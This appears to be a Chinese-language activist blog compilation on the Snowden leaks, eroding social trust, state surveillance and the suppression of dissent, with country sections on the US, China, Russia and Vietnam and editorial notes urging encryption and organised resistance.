《斯诺登盒子》讲述的是一个短暂的时刻，一些彼此陌生的人一起为一个惊天的大秘密建造了一条地下铁路 —— 这是一项极高风险的任务，更多的是依靠信任的纽带。

这可不是一件小事。我们生活在一个充满猜疑的时代，其特点是对人与人彼此之间的信任不断削弱，很多社会科学家都在研究公众信任的下降，近半个世纪以来，作为一项名为“一般社会调查”的长期项目的一部分，对美国人进行了同样一组话题的测验。其中包括这个问题：

「一般来说，您觉得大多数人都是可以信任的吗？对与您打交道的人可以敞开心扉吗？」

研究人员在1972年进行了第一轮调查。当时，近半数人表示他们信任他人；而到了2018年的最新一轮调查，这个数字已经下降到了不到三分之一。

这是一个可怕的消息。信任是自由社会中所有合作行动的基础，它是让人们能够敢于冒险和发展同伴关系的基础感觉。它也是民主的根基。而它是如此的脆弱、容易被破坏。大规模的国内间谍系统 —— 就像斯诺登所揭露的那样—— 对滋养信任和协作的那种深厚的人际关系具有强大的破坏性。

- 📌 不要错过《为什么我们互不信任？》

想想东德，这个现代史上最臭名昭著的监视国家，它的秘密警察部队斯塔西（Stasi）创建于1950年；到40年后解散时，斯塔西已经发展到包括大约86000名全职雇员，如果再加上兼职的和非官方特工/线人，为秘密警察从事间谍活动的总人数已经上升到50多万人。

窥探者的数量已经饱和。一些估计将比例设定为每六个半公民中就有一个是政府线人。大多数主要机构 —— 从大学到教堂再到政党 —— 都被渗透了。邻居对邻居打小报告、夫妻父子之间互相监视，不信任的情况非常严重。即使是国家奥林匹克雪橇队的成员，哈拉尔德·祖达伊（（Harald Czudaj）），也承认了对他的同伴进行监视。多年后，他流着眼泪讲述，警察抓到他酒后驾车，逼迫他成为线人。

- 《警察渗透抗议运动简史》
- 抓住一个人的所谓“小辫子”逼迫其做为警察线人的手段，是很

有历史的，见最新的报道《他们因发布推文而遭到网警的审讯和拷打》

东德是一个极端的案例，但即使在线人较少的制度下，国家监控也会使公民之间的关系变得非常脆弱。人们变得小心翼翼，因为持续的压力而疲惫不堪。最终，人们会相互对立。

“如果当权者无时无刻不在收集公民的数据，理由是人民可能会做错事，这就是在宣扬一种观点，即：作为公民，我们不能被信任”，谢菲尔德大学社会学教授克莱夫·诺里斯（Clive Norris）十多年前在英国议会成员面前作证时解释道。今天，英国依旧保持着世界上最广泛的监控系统之一。

诺里斯和其他学者指出，对民众的持续监控，“助长了猜疑”，破坏了“同仇敌忾和团结”，相当于“一种缓慢的社会自杀”。换句话说：偏执狂会毁了你。

斯诺登事件引起了人们对普通人如何被强大实体监控的关注，从政府到科技公司和其他企业利益集团。它引发了一场关于数字时代的隐私、安全和自由人权的公开对话，推动我们的文化 —— 至少在一段时间内 —— 超越了作家科里·多托洛所说的“冷漠高峰”。

在斯诺登出现之前，国家监控很少进入美国主流语话。少有的例外之一是在1993年，克林顿政府公布了一种名为 Clipper 芯片的设备，并建议在全国范围内的电话中安装它。这种尖端的微芯片将对用户的通信进行加密，但是，最重要的目的是—— 为政府间谍和警察机构的窃听提供了直接通道。

【注：在2016年大选时克林顿政府的这个监视芯片一直在被提起。这种芯片的思考方式很近似于中国**2020**年推行的《密码法》，即：通过破坏加密的基本意义—— 防政府 —— 为政府监视提供便捷渠道。】

隐私倡导者、技术专家和公民权利活动家都对这个奥威尔式的监视计划感到震惊。他们共同组成了一个杂乱的反对派组织，成员从左翼的美国公民自由联盟到右翼的拉什·林博。

“人们愤怒的确切对象是 Clipper 芯片，官方称为 MYK-78，比牙齿大不了多少”，记者史蒂文·莱维写道，“非常小的一块电脑芯片，从外表上看与其他成千上万的芯片无法区分。这个黑色的 **Chiclet** 是一场可能决定我们的公民自由在下个世纪存活程度的战斗的焦点，这是大家共同的信念 …… Clipper芯片引发了可能被认为是信息高速公路的第

一场大型战斗。”

民意调查显示，80%的美国人不希望他们的手机被安装 Clipper 芯片。因此，白宫发动了一场惊人的公关攻势，包括NSA首席顾问斯图尔特·贝克都在WIRED 发表文章题为 “不要担心是快乐的：为什么Clipper是对你有好处”。

但是，这个故作轻松的、鲍比·麦克费林式的标题并不足以拯救政府的监视计划。大约在贝克的文章出来的同时，一位名叫马修·布莱兹（Matthew Blaze）的AT&T贝尔实验室研究员就宣布了Clipper芯片的一个安全漏洞：黑客可以用它来加密政府无法破解的通信。这项技术就这样永远沉没了。

在公众意识的短暂闪光后，关于国家监控的对话在很大程度上又回到了地下：一群活泼的反文化 cypherpunks、黑客、和数字扫盲的公民自由主义者。这是足够远的主流之外，甚至 Glenn Greenwald，他写了很多关于监控技术滥用的揭露性报道，并继续在NSA泄漏中发挥关键作用，而他个人在当时几乎没有考虑到保护自己的私人通信。

当一个神秘人 —— 使用 “Cincinnatus” 这个昵称 —— 恳求 Glenn 设置加密邮件时，Glenn 最初忽略了这个请求。“尽管我有这个打算，但我当时从来没有真的去研究加密”，他后来写道，“只是在我的总是太长的待办清单上，在这个不知名的人的要求下安装加密技术，从来没有变得紧迫到让我停止其他的事而专注于它。”

这个 Cincinnatus 当然就是斯诺登。

2013年初，大多数记者都像 **Glenn** 一样，保护他们自己的电子邮件不被窥视并不是他们的首要任务。普通公众对这种事更不感兴趣。在斯诺登泄密事件发生后，这种情况发生了巨大的变化。对许多人来说，隐私从一个好奇的抽象概念变成了一个直接的、切实的关注点，一个巨大的威胁就在眼前。

加密开始流行起来。在人头攒动的 CryptoParties 上，全球各地的草根隐私活动家不断教授普通人如何保护自己的在线通信。到2015年电视连续剧《Mr. Robot 黑客军团》播出时，公众已经初步沉浸在一部关于黑客行动主义的电视剧中。该剧第一季平均每集有139万观众。与此同时，科技寡头追随消费者的兴趣—— 或者至少是他们的可支配收入—— 开始宣传 “隐私” 和安全是不可或缺的功能。

- 📌 不要错过《以隐私为目的的斗争如何让你变成了监视的盟

友》

📌 与此同时，所有关于利用技术保护公民自由的言论可能会掩盖一些同样有价值的事实。其中最主要的是：加密是一个重要的工具，但它不是一切；所有有意义的沟通和协作都依赖于信任的基石：真诚的人们一起工作。最先进的算法也无法超越这一基本原则。

在一次关于安全通信的辩论中，TechCrunch 专栏作家、软件工程师乔恩·埃文斯 (Jon Evans) 如是解释："你总是需要相信别人。这是不可避免的，真正的安全设计是关于浏览可用性和安全性之间的妥协，确定你的用户的复杂性和威胁模型，决定你必须信任谁，什么是你不能承受的。"

- 不要错过《保护安全需要一系列思考方式，而不是哪个软件》

📌 从本质上讲，当涉及到信任时，总是要做一个切实的权衡 —— 除非你住在一个荒岛上、除非你是一个完全依靠自制代码、用椰子打造私人手机、只和自己通信的实干家。毕竟，对任何人的信任都是一种孤立的秘诀。

- 不要错过《要想保护每个人的人权和安全，我们就需要联合》

不幸的是，正如埃文斯指出的那样，我们不能不分青红皂白地相信别人。有时，看起来最忠实于公众的人物反而被证明是最不值得信任的。

臭名昭著的詹姆斯·克拉珀就是这种人，他可能从来没有想到他作为美国国家情报局局长的任期会与这个国家历史上最重大的泄密事件之一发生碰撞。在"斯诺登的盒子"里溢出第一批秘密的三个月前，克拉珀在一次公开的国会听证会上接受了参议员罗恩·怀登（Ron Wyden）的质询。

怀登的工作当然意味着他有"国家安全"许可，因此，当这位参议员问克拉珀，国家安全局是否收集了"数百万或数亿美国人的任何类型的数据"时，他自己已经知道了答案。

"No, sir"，克拉珀回答—— 这个经典"No, sir"最终变成了各种讽刺性 meme 成为了在线热门。克拉珀还说："这不是故意的"。一切都是谎言。

当他的恶意证词被斯诺登的泄密事件曝光后，克拉珀的第一个动作就是转移人们对他自己的谎言的关注。他向美国人保证："正在追捕这

个窃取政府机密的可恶之人。这个人不管出于什么原因，选择了侵犯这个国家的神圣信任“。他暴跳如雷。

克拉珀这句话透露出的不只是极端的虚伪，更是—— 更糟糕的是—— 那种让虚伪变得无关紧要的愤世嫉俗。但是，对吹哨人提出这样的指控的荒谬性，甚至在他自己的信誉破灭的情况下，克拉珀似乎失去了信心。

这个情报主管最终会道歉，因为他向国会和美国人民提供了 “明显错误” 的信息。几个月后，他辞职了 —— 他漫长的公务员生涯因欺骗而结束。但是，在国家安全局第一次泄密后的日子里，忏悔并不是剧本的一部分。对克拉珀的话题集中在一个单一的谈论点上：一个叛徒背叛了美国。在这样做的时候，他一次又一次地强调 —— 仿佛对讽刺免疫 —— “维护公众信任的重要性”。

在一次特别露骨的采访中，企业媒体NBC主播安德里亚·米切尔问他，情报官员保护机密信息有多难；克拉珀列举了一连串的保密工具和协议。他提到了联邦工作人员和承包商的政审，以及被称为SCIFs的防间谍房间，即 敏感机密信息设施。

但是，即使有最复杂的保密策略，政府保持秘密依旧是一个 “艰难的问题”，克拉珀承认。毕竟，系统只有和操作它们的人一样 “可靠”。

“归根结底”，他总结道，“一切都是个人信任的问题。”

人们很容易相信，小事 —— 个人行动和人际关系 —— 在面对专制政权时不会有太大的改变。但我们不同意这种看法。我们希望这本书能成为信任力量的见证，以及为什么值得为一种能让信任蓬勃发展的文化而奋斗。

📌 信任是这个世界的粘合剂，是文明与混乱的区别。它让人们在任何形式的合作行动中走到一起，从社会反抗运动到婚姻关系和各种市场。当一个具有公民意识的社区的成员彼此之间分享信任时，信任是唯一能够遏制国家权力的东西—— 当然，除非我们允许自己被恐惧所操纵，并在随后的沉默中彼此分离。

- 不要错过，维护信任、避免政府线人渗透破坏的终极方案《安全文化》

○□

原文

新的压制和新的反抗：社会运动的智慧如何跟上技术型暴政的进化？ - iyouport

反抗者-寻求经验社会反抗和思考

【2019年1月30日存档】社会管控和当权者对社会运动和异议的压制现在完全打破了自由民主国家、专制政权和半专制政权之间的区别；所有当权者的手段都与时俱进了，民间反抗呢，是否能跟上这一进程？本报告分为多个部分，通过展示不同国家的反抗经验和教训，希望能为中国的活动家和积极人士提供有效的参考资源—— 请注意文中的黑体字，以及每个故事结尾的“注”

在过去十年中，一种新的压制方式已经出现，并在全球范围内得到了巩固。它影响世界所有地区，尽管规模不同，但已经显然没有自由民主国家、专制政权和半专制政权之间的区别。

对社会运动和异议的控制与镇压有着悠久的历史。然而，在过去的几年里，我们进入了一个以监视抗议活动快速加剧为特征的新时代；在信息技术的帮助下，当权者在现实中的社会运动、和互联网的虚拟动员中一直在发展各种监视和渗透方法；他们通过警察国家式的执法和各种解释模糊的法规，对活动家进行刑事定罪。

一种新的镇压方式

最近发生的当权者对抗议者的严厉反应、以及抗议者和警察在自由民主国家的八国集团和二十国集团会议等国际首脑会议上的暴力冲突，与 2010 年初影响民主运动的暴力和镇压并没有太大的不同，那些发生在叙利亚、埃及或土耳其的独裁/半专制政权中的镇压如今在民主国家以同样的方式上演着。

叙利亚当然是最极端的。和平的民主革命被政权压垮，造成数千人死亡和流离失所，最终使该国陷入了永无止境的代理人战争之中。在埃及， El-Sisi 军事政权掌权，在政变发生几周后，安全部队就杀害了 **1000** 多名占领开罗市中心拉巴广场的公民。经过长达一年的调查，

人权观察组织发布了大屠杀的报告，题为：“ 一切按计划进行 ”。 五年之后，没有人因大屠杀而受到审判，这正是一项既定计划的结果，而且 El-Sisi 仍然控制着这个国家而没有面临任何国际禁令。

土耳其人和平集会的权利在 2013 年的格兹公园示威活动中被残酷地剥夺了。大赦国际称，大约一个月内就有 8000 多人受伤，数千名示威者最终被拘留，对警察暴力行为的调查很少。

此外，新的镇压方式见证了各国将其控制机制与对二十一世纪初的抗议和镇压的创新形式相结合的惊人现状，特别是通过对互联网虚拟世界的大规模投资。特朗普的选举和最近发生在巴西大选期间的利用主流和社交媒体摧毁活动家及其事业之声誉的行为，为互联网和新社交媒体如何变成了当权者采取镇压措施的平台，提供了强有力的实例。

互联网和社交网络不再是可以讨论想法、要求和策略的激进主义的自由空间：它们已经变成了当权者的监视和渗透的空间。

在对中国的分析中，已经展示了当局对人民和活动家的在线控制和监视如何成为了核心要素，以至于它已经成为一个百万富翁的行业。然而，这种监视机制现在是全球性的，并且在几个不同的层次和规模上表现。

通过法律和规章将活动家定为刑事犯罪是这种新镇压制度中的另一个重要表现。近年来将异议定为犯罪并受到法律惩罚的案例数量正在明显增加，这是英国的表现。

今年早些时候，Graeme Hayes，Steven Cammiss 和 Brian Doherty 发表了一篇文章 ，内容涉及在伦敦斯坦斯特德机场进行非暴力反抗以阻止当局驱逐移民的活动家们被法律处罚、威胁和审判的事件。

在美国，反对特朗普的广泛抗议活动中，已经提出了 **50** 多项此类法案，由共和党控制的州立法机构用来限制抗议和示威的可能性。这些镇压措施的实施是在这样一种背景下发生的，在这种情况下，人权的基本方面，例如被限制的少数群体投票权，至今仍未得到解决。Meghan Tinsley 的作品展示了多年来对选民进行的系统镇压的悲剧，以及这种情况是如何持续下去的。

这一轮新的镇压影响的并不仅限于活动家，还包括记者和社会科学家，他们因为对日益压抑的世界保持反抗而付出了沉重的代价。

在许多情况下，他们被逮捕，因写作和研究而被解雇，甚至被暗杀和

谋杀。对学术界进行镇压的最引人注目的例子之一是剑桥大学的博士生 Giulio Regeni，他在对该国的自治联盟进行研究时遭到了埃及警方的折磨和谋杀。

2018 年3月，另一位社会学家 Marielle Franco 在里约热内卢的一条主要街道被暗杀。她是一名市议员，也是活动家和社会学家，她被指控撰写关于贫民窟遭遇的军警行动的报告。然而对她的谋杀只是社科学家和巴西进步政治的支持者面对的黑暗时期的一个开始，因为新当选的总统博尔萨纳罗已经要求左派活动家“离开该国否则入狱”。

Ian Lamond 的文章在过去和现在之间建立了一种启示性的联系，提醒我们在为更美好的世界而进行的斗争中必须从历史中吸取的教训。Helena Roux 和 José Luis Rocha 提供了一份准确的报告，分析了尼加拉瓜如何堕落的情况。尼加拉瓜是一个拉美国家，曾经在20世纪80年代是替代左派和革命的全球参照。Jannis Grimm 突出了后阿拉伯之春中东及其后的研究人员日益增长的困难，呼吁我们认真关注研究和研究人员面临压制的后果。在 2018 年，尼加拉瓜已经成为最具戏剧性的镇压地点之一，来自一个声称“站在人民一边”的政权。

活动家们不得不适应新的环境。越来越多的报道显示，过去几年中出现了创造性的抵抗和异议形式。Nadim Mirshak 在他的文章中解释了民间社会组织和社会运动如何通过发展“隐藏的”抵抗方法，在埃及讨论他称之为“弹性威权主义”的领域。Susann Pham Thi 的文章则以类似的方式展示了活动家如何通过使用隐藏、逃离、创造和融合的四种策略来规避越南的镇压。

印度民族主义政权纳雷德拉·莫迪（Narendra Modi）日益压抑的斗争故事强调了国家政体层面的反霸权力量与当地社区之间存在的辩证关系。

正在进行抵抗

近年来出现的创造性和不断演变的斗争和抵抗形式表明，无论政府的敌对行动和风险如何日益增长，人民仍然会抵制，而且被噤声的人们会继续为发声而奋斗。这些斗争可能看似支离破碎，专注于本地问题、并相互脱节。但是，仔细观察这些新形式可以发现，它们在许多不同层面上明显互连，尽管是以渐进和微妙的方式。

一种全新的抵抗力量正在形成。它涉及各种社会群体，战略和联盟，这些群体、战略和联盟在当地、乃至全球范围内同时具有普遍性。反镇压举措和团结网络的存在只是这种日益增长的连通性的例子。例

如，Scholars at Risk 是一个国际网络，保护受威胁的学者并促进全世界的学术自由。2016年，国际社会学协会社会阶层和社会运动研究委员会（RC 47）发起了反对镇压学术界的倡议，特别是关注社会运动学者。人权观察和大赦国际等国际非政府组织一直在维护人权方面活跃，并且已成为专制政权和民族主义武装分子的目标。

强调社会科学家在发展抵抗力量方面可以发挥的作用至关重要。除了一些社会科学家本身就是活跃者这一事实之外，社会科学家工作的一个重要方面还在于有助于更好地理解新的镇压和抵抗力量，以及新兴的专制政权替代方案在世界各地的压制性趋势，同时分析地方、国家和国际力量、支持和机制，与在全球范围内出现的新型镇压模式之间的关系。

新的镇压和新的抵抗形式的兴起是我们这个时代社会运动和民主的关键问题。

以下概述各国实施的新压制方式以及人们如何抵制它。旨在为来自不同大陆的公民、活动家和学者之间的交流开辟一个广阔的平台，并鼓励就这些紧迫的主题进行进一步的研究和讨论。

—— 列表如下 ——# 《印度：威权民粹主义的兴起和民众的斗争》

- 《埃及：后起义的抵抗》
- 《英国：间谍、扼杀和镇压》
- 《美国：是的，你有权和政府对话，但这可能导致你被逮捕》
- 《墨西哥：抵抗运动的火山》
- 《伊朗：被剥夺的反抗》
- 《西非：年轻人领导的运动—“探戈需要更多”》
- 《中国：互联网维稳产业，谁将成为唯一的失败者？》
- 《俄罗斯：从保卫城市到政治斗争》
- 《越南：如何规避国家镇压》
- 《从民权到占领运动：独立媒体作为抗议资源》

1. 路易斯安那州语言艺术老师 Deyshia Hargrave 因在学校董事会会议上公众意见征询期间发表讲话，而被推到在地、戴上手铐并被捕；

- Fane Lozman 因在佛罗里达州棕榈滩举行的市议会会议上公开评论时间暗示政府腐败而被捕；
- 公共新闻服务的记者 Dan Heyman 因在西弗吉尼亚州议会大厦遇到卫生和公众服务部秘书 Tom Price 时“积极”提问，而被

捕；
- 大学教授 Ersula Ore 被抨击并被逮捕，是因为她反对校园警察所显示的“不尊重的态度”，警察在街道中间拦住她并要求她出示身份证；
- 费城律师 Rebecca Musarra 因行使其保持沉默的权利而被捕。尽管她已经通过提供许可证和注册等方式进行了合作；
- Robert Bartlett 在阿拉斯加的一个北极人节期间被捕，据称是拒绝接受警方询问。他的案子在美国最高法院审理……
- 还有很多

1. 关联我们三年前的报告：《“互联网＋”维稳：舆情监控公司去年收入大幅增长》
2. 关联：《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》

- 《对特朗普推文的情感分析: Python 🐍》

1. 关联：《巨魔崛起：政府资助的网络水军正遍布全球》

此外，媒体机构还为前线监视官员设立了专门的培训计划，帮助他们了解如何使用数据产品有效地监控互联网信息，并为他们提供平台，分享成功消除在线异议的最佳做法。

在中国，删除互联网用户的帖子是政府防止反政府信息传播的常用方法。但是，地方政府只对其管理的网站拥有审查权限。这意味着，与中央政府相比，地方政府无权直接删除由中国互联网巨头（如新浪、百度和腾讯）运营的最受欢迎网站上发布的信息。

一位受访者说，大多数技术公司与为这些热门网站工作的内容编辑有着密切的业务联系。通过向技术公司付钱，当地官员就可以要求编辑帮助他们删除对政府不利的内容。然而，在 2015 年，中央政府颁布了一项新的法律，使付费删除帖子的服务成为了互联网行业的非法行为。

这样一来就会导致 DDoS（分布式拒绝服务）攻击市场上的另一种受欢迎的产品。在 DDoS 模型中，攻击者（例如，地方政府）使用数字方法淹没目标网站（例如，反政府活动家）。此方法能够有效地关闭目标站点一段时间，并拒绝合法用户的访问。这种攻击在中国并不违法，还能有效地审查内容并起到寒蝉效应。考虑到使用这种方法攻击目标网站并非道德，技术公司不倾向于公开销售此服务，也不会在合同或官方网站上写入这项服务。

市场机制

在数字时代，互联网不仅通过促进在线购物和网上支付，而且通过将数字镇压转变为商人可以赚钱的特殊行业来推动经济。从这个意义上讲，营利性组织融入了国家镇压的配置。尽管互联网具有赋予公民自由表达分歧意见的潜力，但越来越多的证据表明，国家维稳也一直在从数字技术的创新中受益。

市场化是一个关键的过程，使国家能够实现这一点。市场机制是将商业公司的利润动机与政府机构的压制需求联系起来的桥梁。技术公司和媒体组织等营利性组织为政府行为者提供了各种类型的先进数据工具，以限制网络空间的公共讨论。当国家市场合作成为中国互联网控制的新特征时，公民社会在互联网上的空间注定会岌岌可危。

中国和西方：镜像关系

事实上，国家行为者和非国家组织之间的合作不仅是中国治理的主要特征，也同时是西方政治的主要特征。在过去几个月中，围绕着剑桥 Analytica 等数据分析公司收集 Facebook 用户数据的指控已经出现。这场备受争议的合作恐怕并不是唯一一次肮脏的交易。这个西方的例子表明，营利性组织，特别是数据服务提供者的参与正在成为当前民主选举的重要组成部分，关于对选民的操纵。

在某些方面，数据公司的政治参与可以被理解为长期以来在西方民主中蓬勃发展的政治咨询公司的新变种。然而，中国这样的专制政权的国家市场合作仍然是一种新现象。与互联网控制行业一样，私有化的强制也成为当代威权主义国家的压制性的一部分; 中国、菲律宾和约旦的政府官员有时雇用暴徒、歹徒和其他私人暴力提供者来压制公民并影响国内选举。

日益普遍的国家压制分包的直接后果是，威权政府的财政收入可以直接转化为他们的镇压能力。

活动家反应：反监视策略

虽然技术市场的参与者加强了国家的镇压能力，但活动家们也试图通过开发新的在线动员交流技巧来应对挑战。

人们知道大多数基于数据的监控系统依赖于监控在线帖子或评论中与政府有关的关键词，经验丰富的活动家通常会避免在帖子中直接包含“敏感词”。例如，在大多数在线论坛中，中国领导人的名字通常被

认为是敏感词; 包括领导人姓名在内的讨论更容易受到审查。在提到一位特定的政治领导人时，大多数活动家选择在他们的在线讨论中使用缩写或昵称。

另一个有趣的例子来自中国的#MeToo活动。在意识到MeTooInChina 的标签在微博的在线平台被封锁并且大多数帖子包括诸如“MeToo”之类的敏感词被删除后，活动家开始采用昵称和表情符号作为新的标签来揭露更多的性骚扰。

根据苏黎世大学高级研究员 Meg Jing Zeng 的介绍，因为“米兔”的中文发音听起来像“MeToo”，中国活动家将其用作#MeToo活动的昵称。类似的使用同音字和图像的做法在中国被广泛用作编码语言的一种形式，以避免在网络空间中被审查和监视。

数字时代的新自由主义专制？

回到中国互联网管制的问题，政府部门和营利性数据服务提供商之间的合作意味着中国压制的结构性转变。

正在形成新的国家与非国家机构关系的星图，以建立一种更加网络化和多层次的社会控制模式。这种新模式既增强了当局处理大量在线表达数据的能力，也增加了通过互联网表达不同意见的抗议者的脆弱性。

互联网控制的产业化不可避免地意味着中国异议人士的崭露头角表现已经过早地转变成了可被当局控制的信息流。当互联网控制成为一门生意有利于权力和资本时，我们需要明确谁将成为唯一的失败者。

❤注：加密是你唯一能做的事。如果你不想成为最终的失败者，现在开始还来得及。

9* 俄罗斯：从保卫城市到政治斗争

「图」

意识形态背后的竞争——

俄罗斯2011–2012年的“公平选举”抗议活动，公众关注城市方面在其中发挥了重要作用：抗议活动的口号之一口是“城市属于我们！”，其领导者之一、反腐败博主阿列克谢纳瓦尔尼呼吁抗议者竞选城镇和市议员。事实上，抗议浪潮是莫斯科许多地区独立议员的催化剂，并创

造了一种新型的民间社会行动者—— 城市活动家。

一大堆现象开始出现，但尚未被充分考虑—与之相关的通用“时髦”标签无助于理解过程。公众演讲者、报纸文章和讲座的前奏，开始被定义为“都市主义者”。每个人都突然开始讨论城市环境的质量以及他们对自行车道规划的要求、需求和专家意见，比如街道一般需要多少个长椅，以及我们的城市如何变成“欧洲”。

很少有人看到了意识形态背后的竞争对于一个愉快的城市环境的影响—— 很少有关于意识形态这样的事情的讨论。提升这一戏剧性方面的次要尝试注定要被视为与旨在引发舒适城市光辉未来的积极措施无关。似乎专家和活动家的信仰和知识，加上城市当局对公共福利的关注，将导致拒绝所有意识形态的争议，并引导走向城市生活的新原则。

当然，这没有发生。

Terry Pratchett 的 Discworld 系列中的一个角色是死神。死亡生活在他自己的世界里，但却很有兴趣观察生的世界，甚至偶尔试图重新创造它。因此，举例来说，死神有一间浴室，里面有漂亮的毛巾架和管道，由坚固的金属制成，但它是实芯的水无法通过。死神的浴室是莫斯科市政府为居民建造的城市的完美比喻。

流行博主伊利亚·瓦拉莫夫（Ilya Varlamov）在欧洲和美国城市的报告中所提出的城市环境的特征和元素不仅是先进的城市设计的产品，而且是民主过程的产物，制衡系统，科学分析，公众讨论和长期规划。

当然，民主进程并不能保护我们免受建筑和规划方面的错误，但民主可以让错误得到承认。在莫斯科，即使是以前存在的最小民主进程也在过去几年中停滞不前，取而代之的是伪参与者的技术。

城市规划冲突几乎影响了莫斯科的每个地区。在集会上，人们大声呼吁地方议会选举，因此每个地区至少应该有一名真正的议员，可能还有一个完整的委员会。

集会上的发言人还强调，这些不是孤立的城市冲突问题，这些都是莫斯科规划法和相关立法中系统性功能失调的症状，赋予了Marat Khusnullin’s Urban 的规划和土地委员会以无限的权力。

但是在去年夏天，“城市主义者”一词已经变成了一个肮脏的词汇，缺

乏专业性、品味差、对现实完全不敏感。恢复这个词的唯一方法是让其专业团体接受并提高公民责任感。但是，规划者还没有成功地成为一个专业社区，而他们“保证忠于当权者”只会妨碍他们接受民事责任。

这里有两个趋势，一方面是要求民主的城市规划过程，另一方面是新自由主义政府、商业和忠诚的创意阶层的暗箱操作决心。要预见这一过程将如何展开并不容易。但可以想象自组织的一个重要作用：专业人士参与激进项目，为当地地区制定反抗计划，并为规划者创建工会；地方倡议组织联盟成为莫斯科范围内的联盟，可以创建一个互动平台，让活动家与专业人员之间分享技能的平台；在城市规划、地方以及城市环境方面发展公共教育。

即将举行的市政选举可以为这样一个联盟提供一个真正的机会，让大量的独立成员进入区议会，在那里他们可以从下往上开始建立民主。让民主成为真正的专业人士的需求。

其中许多过程已经在展开，尽管形式仍然不确定，或者只是在讨论、意图或愿望的层面。但最重要的是要意识到，当你听说 Henri Lefebvre 的书中描述的“城市权利”时，时髦规划和非政治幸福的时代已经一去不复返了。

在思想政治斗争中争取城市权利，现在正是时候。

❤注：社会运动可以从几乎任何一种公众注意力引发出来，其前提是：公众注意力的调动和持久性维护、论述和组织动员的结合、替代性方案的完善化，很明显，这其中社科学界和社会基层队伍的联盟至关重要。尤其是当俄罗斯这样的社会表现出政治麻木时，这一联盟更加重要。这需要知识分子能发挥真正的职能，需要活动家的知识储备和经验，还需要技术人员的专业性和行动力。反抗不同于异议，它需要充满智慧。

苏联解体已经28年，后苏联社会中的抗议活动一般都未能取得长期的成功。

直到21世纪初，一波大规模抗议活动出现都是所谓的“颜色革命”。这些非暴力抗议活动的特点是有组织的青年人和有争议的选举结果，最终导致该国最高层的人员变动。当然，还涉及跨国影响的关键因素。

并且，后苏联“革命”始终见证了青年人的具体活动和贡献。这并不令人惊讶—变革的愿望和行动的能量是年轻一代中更常见的事。尽管如

此，尽管青年激进主义可以引领一场革命，但如果抗议运动能够达到一定数量的积极参与者，它就会成为一种大众现象。因此，其他社会阶层和群体应该被鼓励参加集体行动，以便有机会取得成功。

苏联时代晚期的抗议活动部分受到跨国交流的影响，就像21世纪初的颜色革命一样。这种抗议剧目和激进主义专业知识的传播得益于地理上的接近，有限的时间距离以及整个政治、经济、社会甚至文化条件中的普遍相似性。在“全球抗议”时代，由于当地的触发因素和具体的国情，抗议活动往往是渐进式的。

此外必须说，社交媒体不是专门为社会动员服务的技术创新，它只是一种新形式的信息传播媒介。事实上，它的功能应该与苏联时代晚期的 samizdat 不同。信息很重要，但组织对成功抗议运动所需的社会动员更至关重要。专制政府可以轻易地使用相同的信息渠道和技术来对抗抗议者这一事实只会加剧这个问题。

最后，精英是政治变革的关键，抗议和革命只有在能够改变精英阶层时才能取得长期成功。

10* 越南：如何规避国家镇压

「图」

社会运动的四个主要任务——

根据刑法第79条和第88条的规定，越南学者、活动家和律师越来越多地被指控为“颠覆”或“反国家宣传”和“危害国家政权 ”。2015年，越南国民议会修订了刑法，对于上述定性，现在包括最长20年的刑罚，甚至死刑。根据大赦国际提供的数字，几乎100名良心犯、博主和活动家都面临着监狱内外的持续骚扰、人身攻击、审讯和监视。

为了找到表达不满情绪的方法，积极人士有义务找到替代的，或者说是隐蔽的抵抗形式。以下解释了他们采取的其中一些战略和策略。

社会运动通常涉及四个主要任务：第一，加强被压迫者和被边缘化人士的声音。其次，要学习其他运动的知识、战略和策略。第三，建立国际团结网络。第四，努力实现一个解放政治纲领，为这些强大的国际关系奠定基础。

然而，不同的背景需要不同的行动。在像越南这样的专制国家，活动家（和非活动家）必须接受有助于规避紧急国家镇压的策略，包括隐

藏、逃离、创造和融合。

隐藏—— James Scott（1987）广泛讨论了一种主要由于无法通过其他方式抵制的主体如何抵抗的策略。以马来西亚农民为例，他证明了日常抵抗正在被用来对抗一个更具正统权力的政党。在仆人对主人的浅薄服从之下是“隐藏的副本”—一个安静的、零碎的过程。在没有监督者的情况下，出租车上的激烈讨论或工人之间的讨论，在广播国家和国际政治时评论新闻，这些都是通过密切关注越南和其他地方的日常生活时可以很容易看到的那种“隐藏的副本”。

然而，隐藏也可以以更明确的形式存在。这听起来似乎是矛盾的，但加密技术和社交媒体平台具有两个特征：匿名和“隐藏”水平的动员工具。该国共产党通过了一项法律，要求互联网公司删除关键内容并将用户数据移交给政府。在不到一个星期的时间里，不仅活跃人士迅速注册了**10**万个账户，而且使用的是一个加密的社交网络 minds.com。

目前， Minds 为越南用户提供超过100万个帐户占总用户群的10%。由于这些平台提供了安全的通信，活动家和评论家都通过电子隐藏策略进行交流，政府的手无法触及。

逃离—— 逃离和移民一直是日常抵抗的一部分，是一种规避国家镇压的方式。特别是对于生活在压抑环境中的持不同政见的活动家、记者和知识分子而言，逃离可能是避免被监禁或获得早期解放的唯一途径。例如，人权律师 NguyễnVănĐài 受到第79条的指控，这是一项模糊的条款，可判处终身监禁，并可判处死刑。但是，如果他们同意流亡，就可以提前被释放。在服刑两年后，NguyễnVănĐài 获得了德国2017年人权奖，并因此获准在德国获得庇护。

少数民族和宗教团体的成员也遭到国家镇压。例如，参与社会活动、社区组织和博客的天主教会 ĐặngXuânDiệu 著名成员于2011年被捕。在服刑6年后最终获得了法国的庇护。另一名成员 NguyễnCôngChính 牧师在经过5年服刑后获释，并于2017年逃亡美国。

然而，这些活动家的故事并没有随着流亡生活而告终。相反，新的政治机会，即出版和组织的新资源，加入了活动家的计划，并且留在国内的人还有更直接的集体行动。

创建—— 随着活动人士（和前政治难民）的流亡，国际社会组织得到了支持团体的补充。地方积极人士越来越强化自组织网络，包括

ViệtTân 党（一个1982年成立的国际地下运动，最初旨在通过民众起义推翻共产党政权，而今天它的目标是改革）、海外新闻机构、宗教和少数民族的团体和运动，以及国际非政府组织。

除了创建更安全的在线空间外，受保护的离线空间也汇集了大量活动家。No-U FC 足球协会是活动家利用漏洞创造空间的一个例子。呼吁越南宪法，每个自然人都有权进行锻炼和体育活动，No-U FC 选择在一党政权的规定范围内进行鼓动。为了基层政治的目的，他们重新适应体育空间。足球协会的成员和支持者发现自己也是持不同政见运动的一部分。

